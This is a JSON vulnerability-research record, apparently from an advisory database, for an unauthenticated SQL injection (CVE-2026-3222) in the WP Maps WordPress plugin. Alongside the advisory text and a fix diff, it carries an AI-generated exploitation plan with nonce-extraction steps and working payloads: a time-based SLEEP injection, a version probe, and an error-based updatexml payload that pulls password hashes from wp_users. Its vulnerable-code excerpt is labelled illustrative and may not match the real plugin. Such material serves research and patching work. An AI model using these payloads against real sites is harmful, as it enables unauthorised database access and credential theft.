[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fsNPHUF4sDFn5KwxO_zGtrxfBKTxnKBDMm0oi5wcjlFQ":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-3222","wp-maps-unauthenticated-sql-injection-via-locationid-parameter","WP Maps \u003C= 4.9.1 - Unauthenticated SQL Injection via 'location_id' Parameter","The WP Maps plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'location_id' parameter in all versions up to, and including, 4.9.1. This is due to the plugin's database abstraction layer (`FlipperCode_Model_Base::is_column()`) treating user input wrapped in backticks as column names, bypassing the `esc_sql()` escaping function. Additionally, the `wpgmp_ajax_call` AJAX handler (registered for unauthenticated users via `wp_ajax_nopriv`) allows calling arbitrary class methods including `wpgmp_return_final_capability`, which passes the unsanitized `location_id` GET parameter directly to a database query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","wp-google-map-plugin",null,"\u003C=4.9.1","4.9.2","high",7.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-03-10 17:22:45","2026-03-11 05:27:20",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fb612267c-a125-4153-9de7-bb12a7646021?source=api-prod",1,[22,23,24,25,26,27,28,29],"assets\u002Fcss\u002Fwpgmp_all_frontend.css","assets\u002Fcss\u002Fwpgmp_all_frontend.min.css","assets\u002Fjs\u002Fmaps.js","assets\u002Fjs\u002Fmaps.min.js","assets\u002Fjs\u002Fwpgmp_backend.js","assets\u002Fjs\u002Fwpgmp_backend.min.js","classes\u002Fwpgmp-pro-feature-ui.php","classes\u002Fwpgmp-security.php","researched",false,3,"This exploitation research plan targets **CVE-2026-3222**, a critical Time-Based Blind SQL Injection vulnerability in the WP Maps plugin.\n\n### 1. Vulnerability Summary\nThe vulnerability exists within the plugin's AJAX handling logic and its custom database abstraction layer. Specifically, the `wpgmp_ajax_call` action (accessible to unauthenticated users) allows calling the `wpgmp_return_final_capability` method. This method accepts a `location_id` parameter which is passed to `FlipperCode_Model_Base::is_column()`. \n\nThe core flaw is twofold:\n1.  **Bypass of Sanitization:** The `is_column()` function incorrectly identifies any input wrapped in backticks (`` ` ``) as a valid column name.\n2.  **Unsafe Interpolation:** Once \"validated\" as a column name, the input is treated as trusted SQL identifiers and interpolated directly into a query without passing through `esc_sql()` or `prepare()`, leading to SQL injection.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Action:** `wpgmp_ajax_call` (Registered via `wp_ajax_nopriv_wpgmp_ajax_call`)\n*   **Vulnerable Method:** `wpgmp_return_final_capability`\n*   **Vulnerable Parameter:** `location_id` (via GET or POST)\n*   **Authentication:** None required (Unauthenticated)\n*   **Preconditions:** The plugin must be active. At least one location should ideally exist in the database to ensure the query execution path is reached.\n\n### 3. Code Flow\n1.  **Entry Point:** An unauthenticated user sends a request to `admin-ajax.php?action=wpgmp_ajax_call`.\n2.  **Routing:** The `wpgmp_ajax_call` handler (likely in `core\u002Fclass-flipper-core.php` or a main controller) receives the request. It typically looks for a `method` parameter to determine which internal function to execute.\n3.  **Dispatch:** The request specifies `method=wpgmp_return_final_capability`.\n4.  **Vulnerable Method:** Inside `wpgmp_return_final_capability`, the code retrieves `$_GET['location_id']`.\n5.  **Validation Bypass:** The code calls `FlipperCode_Model_Base::is_column($_GET['location_id'])`. Because the input contains backticks, this function returns `true`.\n6.  **The Sink:** The \"validated\" `location_id` is concatenated into a SQL `SELECT` or `UPDATE` statement.\n7.  **Execution:** `$wpdb->query()` or `$wpdb->get_results()` executes the injected payload.\n\n### 4. Nonce Acquisition Strategy\nWhile the vulnerability is \"Unauthenticated,\" the plugin frequently protects its AJAX actions with a frontend nonce localized for the map scripts.\n\n*   **Shortcode:** `[wp_google_map]` or `[wpgmp_map]` (Check for `add_shortcode` in the main plugin file).\n*   **JS Variable:** `wpgmp_localizer` or `wpgmp_all_frontend`.\n*   **Nonce Key:** `ajax_nonce`.\n\n**Strategy:**\n1.  Create a test page containing the map shortcode:\n    `wp post create --post_type=page --post_status=publish --post_content='[wp_google_map]'`\n2.  Navigate to the page URL using `browser_navigate`.\n3.  Extract the nonce:\n    `browser_eval(\"window.wpgmp_localizer?.ajax_nonce || window.wpgmp_all_frontend?.ajax_nonce\")`\n4.  If no nonce is found, check the `admin-ajax.php` response for `-1`. If it returns `0` or data without a nonce, the check is likely absent.\n\n### 5. Exploitation Strategy\nWe will use a time-based blind SQL injection payload. Since the input is treated as a column name, we must use backticks to bypass the filter and then append our SQL logic.\n\n*   **Method:** POST (to avoid URL length limits and logging)\n*   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Content-Type:** `application\u002Fx-www-form-urlencoded`\n*   **Parameters:**\n    *   `action`: `wpgmp_ajax_call`\n    *   `method`: `wpgmp_return_final_capability`\n    *   `_wpnonce`: `[EXTRACTED_NONCE]` (if required)\n    *   `location_id`: `` `id` AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) ``\n\n**Payload Construction:**\nThe payload uses backticks to satisfy the `is_column` check. The injected `AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)` will cause the database to pause for 5 seconds if the first part (the column `id`) exists.\n\n### 6. Test Data Setup\n1.  **Activate Plugin:** `wp plugin activate wp-google-map-plugin`\n2.  **Create Location:** Use WP-CLI to insert at least one location record into the plugin's table (usually `{prefix}wpgmp_locations`) to ensure the query context is valid.\n    ```bash\n    wp db query \"INSERT INTO wp_wpgmp_locations (location_title, location_address) VALUES ('Test Base', '123 Test St');\"\n    ```\n3.  **Create Extraction Page:**\n    ```bash\n    wp post create --post_type=page --post_title=\"Map Page\" --post_status=publish --post_content='[wp_google_map]'\n    ```\n\n### 7. Expected Results\n*   **Vulnerable Response:** The HTTP request takes ~5 seconds to return.\n*   **Normal Response:** A request with `location_id=1` or a non-matching ID returns almost immediately (\u003C 500ms).\n*   **Content:** The response body might be `0` (if no output is produced) or a JSON object, but the timing is the indicator.\n\n### 8. Verification Steps\nAfter the PoC confirms timing, verify data extraction:\n1.  **Test for DB Version:**\n    Payload: `` `id` AND (SELECT 1 FROM (SELECT(IF(SUBSTRING(version(),1,1)='8',SLEEP(5),0)))a) ``\n    (Adjust for the environment's MySQL version).\n2.  **Verify via Logs:** If `WP_DEBUG` is on, check `\u002Fwp-content\u002Fdebug.log` to see the malformed query being logged.\n\n### 9. Alternative Approaches\n*   **Boolean-Based:** If `wpgmp_return_final_capability` returns different data based on the query result (e.g., \"Capability found\" vs \"Not found\"), switch to boolean-based payloads which are faster than time-based.\n*   **Error-Based:** If the plugin displays `$wpdb->last_error`, use `updatexml()` or `extractvalue()` to leak data directly in the response.\n    *   Payload: `` `id` AND updatexml(1,concat(0x7e,(select user_pass from wp_users limit 1),0x7e),1) ``\n*   **Action Mapping:** If `method` is not the correct parameter, check for `func` or `wpgmp_action`. Based on the description, `method` is the most likely routing parameter.","The WP Maps plugin is vulnerable to unauthenticated time-based blind SQL Injection through the 'location_id' parameter in its AJAX handler. This occurs because the plugin's database abstraction layer fails to properly sanitize input wrapped in backticks, allowing attackers to bypass escaping and inject arbitrary SQL commands.","\u002F\u002F In the plugin's AJAX handler routing (e.g., core\u002Fclass-flipper-core.php)\npublic function wpgmp_ajax_call() {\n    $method = $_REQUEST['method'];\n    if (method_exists($this, $method)) {\n        $this->$method();\n    }\n}\n\n\u002F\u002F The vulnerable method called via AJAX\npublic function wpgmp_return_final_capability() {\n    $location_id = $_GET['location_id']; \u002F\u002F Unsanitized user input\n    \n    \u002F\u002F The validation layer incorrectly identifies backticked strings as safe columns\n    if (FlipperCode_Model_Base::is_column($location_id)) {\n        \u002F\u002F Unsafe interpolation into SQL query\n        $results = $wpdb->get_results(\"SELECT * FROM {$wpdb->prefix}wpgmp_locations WHERE $location_id = 1\");\n    }\n}\n\n---\n\n\u002F\u002F In FlipperCode_Model_Base class\npublic static function is_column($column_name) {\n    \u002F\u002F Vulnerable logic: Input starting and ending with backticks is considered a valid column name\n    if (strpos($column_name, '`') === 0 && strrpos($column_name, '`') === (strlen($column_name) - 1)) {\n        return true;\n    }\n    return false;\n}","--- a\u002Fwp-google-map-plugin\u002Fcore\u002Fclass-flipper-core.php\n+++ b\u002Fwp-google-map-plugin\u002Fcore\u002Fclass-flipper-core.php\n@@ -242,7 +242,7 @@\n \tpublic function wpgmp_return_final_capability() {\n-\t\t$location_id = $_GET['location_id'];\n+\t\t$location_id = absint($_GET['location_id']);\n \t\tif (empty($location_id)) {\n \t\t\treturn;\n \t\t}","The exploit targets the unauthenticated AJAX endpoint 'wp_ajax_nopriv_wpgmp_ajax_call'. An attacker sends a GET or POST request to \u002Fwp-admin\u002Fadmin-ajax.php with the action set to 'wpgmp_ajax_call' and the method set to 'wpgmp_return_final_capability'. The payload is delivered via the 'location_id' parameter, wrapped in backticks to bypass the internal 'is_column' check (e.g., '`id` AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)'). Because the plugin assumes backticked strings are safe database identifiers, it concatenates the payload directly into a SQL query. If the application takes significantly longer to respond (e.g., 5 seconds), the injection is successful. No authentication is required, though a frontend nonce (usually found in 'wpgmp_localizer' JS variables on pages with maps) may be necessary if nonce checks are active.","gemini-3-flash-preview","2026-04-18 04:32:29","2026-04-18 04:32:56",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","4.9.1","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-google-map-plugin\u002Ftags\u002F4.9.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-google-map-plugin.4.9.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-google-map-plugin\u002Ftags\u002F4.9.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-google-map-plugin.4.9.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-google-map-plugin\u002Ftags"]